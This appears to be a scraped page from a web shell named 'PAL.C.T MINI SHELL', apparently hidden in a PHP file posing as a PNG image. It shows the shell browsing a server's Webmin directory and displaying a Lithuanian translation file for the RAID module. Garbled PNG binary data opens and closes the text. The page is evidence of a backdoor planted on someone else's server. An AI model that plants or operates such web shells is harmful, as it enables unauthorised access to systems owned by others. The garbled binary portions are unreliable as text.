php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/raid/lang/
upload
files >> //usr/libexec/webmin/raid/lang/lt.auto

index_title=„Linux RAID“
index_none=Nėra sukonfigūruotas RAID įrenginys.
index_add=Sukurti RAID lygio įrenginį:
index_return=RAID įrenginiai
index_emdstat=Branduolio RAID būsenos failas $1 neegzistuoja jūsų sistemoje. Jūsų branduolys tikriausiai nepalaiko RAID.
index_eprogs=Nei RAID įrankiai, nei MDADM paketai nėra įdiegti jūsų sistemoje.
index_mdadm=Naudojant MDADM versiją $1 
index_raidtools=RaidTools naudojimas
index_name=Įrenginio pavadinimas
index_active=Aktyvus?
index_errors=Klaidos
index_status=Statusas
index_level=RAID lygis
index_size=Tinkamas naudoti dydis
index_members=Narių diskų įrenginiai
index_header=RAID problemos pranešimo parinktys
index_mailaddr=Siųsti pranešimus
index_mailaddrnone=Nesiųsti
index_mailfrom=Nuo pranešimų adreso
index_mailfromnone=Numatytasis (<tt>šaknis</tt>)
index_program=Komanda paleisti, kai aptinkama problemų
index_programnone=Negalima bėgti
index_monitor=Stebėjimas įjungtas?

linear=Linijinis (sujungtas)
raid0=RAID0 (dryžuotas)
raid1=RAID1 (veidrodinis)
raid4=RAID4 (skirta paritetas)
raid5=RAID5 (paskirstytasis paritetas)
raid6=RAID6 (dvigubai paskirstyta paritetas)
raid10=RAID10 (dryžuotas ir veidrodinis)
blocks=blokai

create_title=Sukurti RAID įrenginį
create_header=RAID įrenginio parinktys
create_device=Įrenginio failas
create_level=RAID lygis
create_disks=Pertvaros RAID
create_spares=Atsarginės pertvaros
create_pdisk=Pariteto pertvara
create_missing=Įtraukti šiuo metu trūkstamą diską?
create_pauto=Automatinis
create_nodisks=RAID nėra laisvų skaidinių.
create_super=Nuolatinis superblokas?
create_parity=Išdėstymas
create_chunk=Riekės dydis
create_force=Priversti RAID inicijuoti?
create_assume=Praleisti prietaisų inicijavimą?
create_rdev=RAID įrenginys $1 
create_lvm=LVM VG $1, LV $2 
create_err=Nepavyko sukurti RAID
create_edisks=Nepasirinkta jokių skaidinių
create_edisks2=Norėdami atspindėti, turite pasirinkti bent 2 skaidinius
create_espare=Atsarginis skaidinys $1 taip pat negali būti RAID skaidinys
create_epdisk=Paritetinis skaidinys taip pat negali būti RAID skaidinys
create_group=Atsarginės grupės narys
create_nogroup=Nėra (naudokite tik savo atsargines dalis)
create_oldgroup=Egzistuojanti grupė
create_newgroup=Nauja grupė
create_enewgroup=Trūksta arba nėra skaitmeninis atsarginės grupės pavadinimas
create_n2_layout=2 šalia kopijų
create_f2_layout=2 tolimi egzemplioriai
create_o2_layout=2 Ofsetinės kopijos
create_n3_layout=3 šalia kopijų
create_f3_layout=3 tolimi egzemplioriai
create_o3_layout=3 Ofsetinės kopijos

view_title=RAID įrenginys
view_header=RAID įrenginio parinktys
view_device=Įrenginio failas
view_uuid=UUID
view_level=RAID lygis
view_status=Failo sistemos būsena
view_errors=RAID klaidos
view_bad=Nepavyko sugadinti $1 diskų
view_mounted=Pakabinamas ant $1 
view_mount=Skirta montuoti ant $1 
view_lvm=Naudojamas LVM VG $1 
view_iscsi=Naudojamas „iSCSI“ bendruoju įrenginiu $1 
view_active=Aktyvus, bet nemontuojamas
view_inactive=Neaktyvus ir neįmontuotas
view_super=Nuolatinis superblokas?
view_parity=Išdėstymas
view_chunk=Riekės dydis
view_stop=Išjungti
view_stopdesc=Spustelėkite šį mygtuką, norėdami išjungti RAID įrenginį, kad jo nebegalėtumėte pasiekti.
view_start=Suaktyvinti
view_startdesc=Spustelėkite šį mygtuką, kad vėl suaktyvintumėte šį RAID įrenginį.
view_disks=Pertvaros RAID
view_spares=Atsarginės pertvaros
view_size=Tinkamas naudoti dydis
view_resync=Atlikto pakartojimo procentas
view_delayed=Laukiama kitame įrenginyje
view_down=(Žemyn)
view_cannot=Šio RAID įrenginio negalima modifikuoti, nes jis šiuo metu yra įmontuotas.
view_cannot2=Šio RAID įrenginio negalima prijungti, išaktyvinti, ištrinti ar formatuoti iš naujo, nes jis šiuo metu yra aktyvus.
view_mkfs2=Sukurti tipo failų sistemą:
view_mkfsdesc=Pasirinkite failų sistemos tipą ir spustelėkite šį mygtuką, norėdami sukurti naują failų sistemą šiame loginiame tome. Tai ištrins visus šiuo metu tome esančius duomenis.
view_add=Pridėti skaidinį:
view_adddesc=Pasirinkite nenaudotą skaidinį ir spustelėkite šį mygtuką, kad pridėtumėte jį prie RAID įrenginio.
view_delete=Ištrinkite RAID masyvą
view_deletedesc=Spustelėkite šį mygtuką, norėdami visiškai pašalinti šį RAID įrenginį. Visi joje esantys duomenys beveik neabejotinai bus prarasti!
view_remove=Pašalinti skaidinį:
view_removedesc=Pasirinkite skaidinį, kuris yra RAID įrenginio dalis, ir spustelėkite šį mygtuką, kad jį pašalintumėte. Dėl to gali būti prarasti duomenys!
view_remove_det=Nuimkite atjungtą
view_remove_detdesc=Pašalinkite skaidinius, kurie jau yra fiziškai atskirti nuo sistemos.
view_replace=Pakeisti skaidinį:
view_replacedesc=Pasirinkite skaidinį, kuris turėtų būti pakeistas. (Karštas pakeitimas)
view_grow=Auga RAID:
view_growdesc=Išauginkite masyvą (paverskite karštas atsargines dalis aktyviais nariais)
view_convert_to_raid6=Konvertuoti į RAID6
view_convert_to_raid6desc=Konvertuokite RAID lygį į RAID6, pridėdami vieną ar daugiau diskų.
view_convert_to_raid5=Konvertuoti į RAID5
view_convert_to_raid5desc=Konvertuokite RAID lygį į RAID5, pašalindami diską.
view_state=RAID būsena
view_rebuild=Pažangos atkūrimas
view_newmount=Prijunkite RAID:
view_newmount2=Prijunkite RAID kaip virtualią atmintį
view_mountmsg=Įveskite katalogą ir spustelėkite šį mygtuką, jei norite pereiti į RAID įrenginio, kuriame jau turi būti failų sistema, įdėjimo formą.
view_mountmsg2=Spustelėkite šį mygtuką, jei norite naudoti šį RAID įrenginį virtualiajai savo sistemos atminčiai.
view_blocks=$1 blokai
view_sparegroup=Atsarginė grupė

mkfs_title=Sukurkite failų sistemą
mkfs_header2=Ši forma leidžia sukurti naują $2 failų sistemą $1. <b>Visi</b> esami duomenys bus ištrinti!
mkfs_options=Naujos „Linux“ failų sistemos parinktys
mkfs_err=Nepavyko sukurti failų sistemos
mkfs_exec=Vykdoma komanda $1.
mkfs_failed=.. komanda nepavyko!
mkfs_ok=.. komanda baigta.

emkraid=<tt>mkraid</tt> nepavyko : $1 
eraidstop=<tt>reidstop</tt> nepavyko : $1 
eraidstart=<tt>raidstart</tt> nepavyko : $1 
eforce=Turite priversti inicijuoti šį RAID : $1 
emdadmstop=<tt>mdadm</tt> in <tt>--stop</tt> mode failed : $1
emdadmcreate=<tt>mdadm</tt> in <tt>--create</tt> mode failed : $1
emdadmadd=<tt>mdadm</tt> in <tt>--manage --add</tt> mode failed : $1
emdadmgrow=<tt>mdadm</tt> in <tt>--grow</tt> mode failed : $1
emdadmremove=<tt>mdadm</tt> in <tt>--manage --remove</tt> mode failed : $1
emdadmreplace=<tt>mdadm</tt> in <tt>--manage --replace</tt> mode failed : $1
emdadmfail=<tt>mdadm</tt> in <tt>--manage --fail</tt> mode failed : $1

log_create=Sukurtas $1 RAID įrenginys $2 
log_stop=Išjungtas RAID įrenginys $1 
log_start=Aktyvuotas RAID įrenginys $1 
log_delete=Ištrintas RAID įrenginys $1 
log_mkfs=Sukurta $1 failų sistema $2 
log_add=Pridėtas skaidinys $2 prie RAID įrenginio $1 
log_remove=Iš RAID įrenginio $1 pašalintas skaidinys $2 
log_replace=Karštai pakeistas $2 skaidinys RAID įrenginyje $1 su atsarginiu skaidiniu $3 
log_grow=Išaugęs RAID įrenginys $1 iš viso $2 diskų
log_convert_to_raid6=Konvertuotas RAID5 įrenginys $1 į RAID6 įrenginį
log_convert_to_raid5=Konvertuotas RAID6 įrenginys $1 į RAID5 įrenginį
log_notif=Atnaujintos RAID problemos pranešimo parinktys

notif_err=Nepavyko išsaugoti RAID problemos pranešimo parinkčių
notif_emailaddr=Trūksta arba netinkamas pranešimo adresas
notif_emailfrom=Trūksta arba netinkamas adresas
notif_eprogram=Trūksta programos arba jos nėra

delete_title=Ištrinkite RAID masyvą
delete_rusure=Ar tikrai norite ištrinti RAID masyvą $1, kuris naudoja $2 disko vietos?
delete_ok=Taip, ištrinti
delete_eidx=Nepasirinktas RAID masyvas!

remove_title=Pašalinkite skaidinį iš RAID masyvo
remove_rusure=Ar tikrai norite pašalinti RAID masyvo $1 skaidinį $2 ?
remove_ok=Taip, Pašalinti
remove_eidx=Nepasirinktas RAID masyvas!
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`